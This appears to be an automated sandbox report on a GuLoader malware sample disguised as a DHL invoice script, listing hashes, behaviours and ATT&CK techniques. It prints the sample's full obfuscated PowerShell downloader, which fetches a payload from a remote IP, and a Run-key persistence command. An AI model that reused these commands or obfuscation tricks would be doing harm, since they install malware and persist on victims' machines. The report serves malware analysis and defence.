guloader | c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0

Analysis

max time kernel
118s
max time network
125s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
26-06-2024 16:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DHL Shipping Invoice, Bill Of Lading & AWB.vb.vbs
Size

186KB
MD5

24cf2fb7a16835406fbb8110f7728d06
SHA1

c86b83506bcd6e6a5e72dd59b80f6d73fe7acd1c
SHA256

c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0
SHA512

85c37a37fd4e63f9add57055f65f887c5f21f37ff66caae518508b2e0e815a9daa14db8dbbf6dfa8162cb127d2d7f834d61c17dd707da8caf396cf46075ed936
SSDEEP

3072:5mN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZw:508GxbKja3+DCbKCvBB/WnHXC/sLJFJD

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 3 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 2060 WScript.exe
6 2060 WScript.exe
9 2876 powershell.exe

flow	pid	process
3	2060	WScript.exe
6	2060	WScript.exe
9	2876	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\Lamenting = "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\\Americas\\').skrupulses;%Hyraciform% ($Inextinguishables)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

2320 wab.exe
2320 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2952 powershell.exe
2320 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2952 set thread context of 2320 2952 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2020 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2876 powershell.exe
2952 powershell.exe
2952 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2952 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2876 powershell.exe
Token: SeDebugPrivilege 2952 powershell.exe

pid	process
2320	wab.exe
2320	wab.exe

pid	process
2952	powershell.exe
2320	wab.exe

description	pid	process	target process
PID 2952 set thread context of 2320	2952	powershell.exe	wab.exe

pid	process
2020	reg.exe

pid	process
2876	powershell.exe
2952	powershell.exe
2952	powershell.exe

pid	process
2952	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2060 wrote to memory of 2876	2060	WScript.exe	powershell.exe
PID 2060 wrote to memory of 2876	2060	WScript.exe	powershell.exe
PID 2060 wrote to memory of 2876	2060	WScript.exe	powershell.exe
PID 2876 wrote to memory of 2584	2876	powershell.exe	cmd.exe
PID 2876 wrote to memory of 2584	2876	powershell.exe	cmd.exe
PID 2876 wrote to memory of 2584	2876	powershell.exe	cmd.exe
PID 2876 wrote to memory of 2952	2876	powershell.exe	powershell.exe
PID 2876 wrote to memory of 2952	2876	powershell.exe	powershell.exe
PID 2876 wrote to memory of 2952	2876	powershell.exe	powershell.exe
PID 2876 wrote to memory of 2952	2876	powershell.exe	powershell.exe
PID 2952 wrote to memory of 2972	2952	powershell.exe	cmd.exe
PID 2952 wrote to memory of 2972	2952	powershell.exe	cmd.exe
PID 2952 wrote to memory of 2972	2952	powershell.exe	cmd.exe
PID 2952 wrote to memory of 2972	2952	powershell.exe	cmd.exe
PID 2952 wrote to memory of 2320	2952	powershell.exe	wab.exe
PID 2952 wrote to memory of 2320	2952	powershell.exe	wab.exe
PID 2952 wrote to memory of 2320	2952	powershell.exe	wab.exe
PID 2952 wrote to memory of 2320	2952	powershell.exe	wab.exe
PID 2952 wrote to memory of 2320	2952	powershell.exe	wab.exe
PID 2952 wrote to memory of 2320	2952	powershell.exe	wab.exe
PID 2320 wrote to memory of 2420	2320	wab.exe	cmd.exe
PID 2320 wrote to memory of 2420	2320	wab.exe	cmd.exe
PID 2320 wrote to memory of 2420	2320	wab.exe	cmd.exe
PID 2320 wrote to memory of 2420	2320	wab.exe	cmd.exe
PID 2420 wrote to memory of 2020	2420	cmd.exe	reg.exe
PID 2420 wrote to memory of 2020	2420	cmd.exe	reg.exe
PID 2420 wrote to memory of 2020	2420	cmd.exe	reg.exe
PID 2420 wrote to memory of 2020	2420	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL Shipping Invoice, Bill Of Lading & AWB.vb.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2876

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
3⤵
PID:2584

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
4⤵
PID:2972

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:2020

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DVX5WS28866BE86W9SD3.temp
Filesize
7KB

MD5
37287ba6670ce0f89f7c6da8f070f09c

SHA1
f31f1075509f7557f235f4d0408a507cd94fcdc8

SHA256
622168334098db85c6c4d12c54927683d58ce1587b730c9cde13e85f7b93f229

SHA512
105c8a01bf78e2844c62f0236262bb3d91317e470382e59182e3c7dd2ee3536eaf94781f543786915764ace6533647cc8c564cbc67b889a91e818cbc62546fbc

Download Submit
C:\Users\Admin\AppData\Roaming\Salturternes.Gev
Filesize
459KB

MD5
6ef66957717bc15ae76851390564ca9c

SHA1
5bb6373bcaecfaa6a584185d9c0980cdb9860611

SHA256
391996b3a8b0a6ad1aac1fb9834fb1b266d009733e6c1e8c7684f213de528716

SHA512
3f5febee655e3cd58f73fef4e24b0526469c777555dfc027ab9634e46439d24ce11cc97d64af0d2c8affcade2b34058304b12687d0ac6eb419e80130da219a71

Download Submit
memory/2320-33-0x0000000001510000-0x0000000002E93000-memory.dmp

Filesize
25.5MB

Download
memory/2876-17-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2876-20-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-21-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-22-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-23-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-16-0x000007FEF57EE000-0x000007FEF57EF000-memory.dmp

Filesize
4KB

Download
memory/2876-19-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2876-29-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-30-0x000007FEF57EE000-0x000007FEF57EF000-memory.dmp

Filesize
4KB

Download
memory/2876-18-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-36-0x000007FEF5530000-0x000007FEF5ECD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-31-0x0000000006610000-0x0000000007F93000-memory.dmp

Filesize
25.5MB

Download